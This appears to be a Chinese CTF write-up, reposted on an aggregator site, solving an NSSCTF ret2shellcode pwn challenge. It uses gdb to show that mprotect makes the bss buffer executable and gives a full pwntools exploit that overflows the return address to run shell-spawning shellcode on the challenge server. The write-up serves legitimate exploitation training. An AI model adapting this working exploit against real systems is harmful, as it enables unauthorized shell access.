news 2026/4/24 15:09:06

nssctf ret2shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
nssctf ret2shellcode

首先checksec一下,如下图

根据题目就可以知道,这道题考的是ret2shellcode了,注意一下这边nx保护是开启的,接着利用

ida分析一下附件,进入main函数分析如下

注意nx保护开启,所以这边的mprotect函数需要额外关注一下,进入buff观察看下

可以知道buff在bss段存储且我们知道地址,这边我们通过gdb调试,来查看经过mprotect函数后的

各段情况,断点打在0x401220,然后按n单步调试,期间可以通过vmmap,查看内存情况,可以

得到以下两张图的对比

我们知道buff在bss段,而且地址是0x4040a0也就是介于0x404000和0x405000之间,后面

可以看到该内存权限由rw变为了rwx,也就是可以执行了,那么这个时候注入的shellcode就可

以执行了,从而获取shell,exp如下

from pwn import *

context(log_level="debug",arch='amd64')

p = remote('node5.anna.nssctf.cn',27979)

shellcode=asm(shellcraft.sh())

buff_addr= 0x4040a0

bias = 0x100+0x8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

p.sendline(payload)

p.interactive()

这边我来解释一下payload = shellcode.ljust(bias,b'a') +p64(buff_addr) 这一行的意思,上面已经

定义好了shellcode和bias的值,大概意思就是,将shellcode左对齐补满bias个长度如果不够,就

用a填补上

大概攻击思路,read函数读入字符串,这边通过将shellcode存储到s数组中,然后再是溢出

将main函数的返回地址修改为buff的地址,由于main函数中会将s的内容复制给buff,所以

main函数运行结束后buff中会有shellcode,此时由于返回地址被覆盖为了buff的地址,此时

就会执行shellcode,攻击奏效,可以获得shell。。。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/24 15:04:17

Shoulda快速入门:5分钟学会Rails测试框架的终极使用技巧

Shoulda快速入门:5分钟学会Rails测试框架的终极使用技巧 【免费下载链接】shoulda Makes tests easy on the fingers and the eyes 项目地址: https://gitcode.com/gh_mirrors/sh/shoulda Shoulda是一款让Rails测试更简单直观的终极框架,它通过Sh…

作者头像 李华
网站建设 2026/4/24 14:59:48

STC8H8K64U硬件PWM同步输出实战:从官方库的坑到手动补偿实现6路同步

STC8H8K64U硬件PWM同步输出实战:从寄存器操作到纳秒级精度控制 在电机驱动、多路LED调光和电源控制等场景中,多路PWM同步输出是嵌入式开发者经常面临的挑战。STC8H8K64U作为一款国产增强型51单片机,其硬件PWM模块理论上能够满足这些需求&…

作者头像 李华
网站建设 2026/4/24 14:58:39

gock与自定义HTTP客户端集成:完整拦截和恢复指南

gock与自定义HTTP客户端集成:完整拦截和恢复指南 【免费下载链接】gock HTTP traffic mocking and testing made easy in Go ༼ʘ̚ل͜ʘ̚༽ 项目地址: https://gitcode.com/gh_mirrors/go/gock gock是一款强大的Go语言HTTP流量模拟和测试工具,…

作者头像 李华
网站建设 2026/4/24 14:50:45

Giraffe路由完全指南:从基础route到高级routef的完整教程

Giraffe路由完全指南:从基础route到高级routef的完整教程 【免费下载链接】Giraffe A native functional ASP.NET Core web framework for F# developers. 项目地址: https://gitcode.com/gh_mirrors/gi/Giraffe Giraffe是专为F#开发者设计的原生函数式ASP.N…

作者头像 李华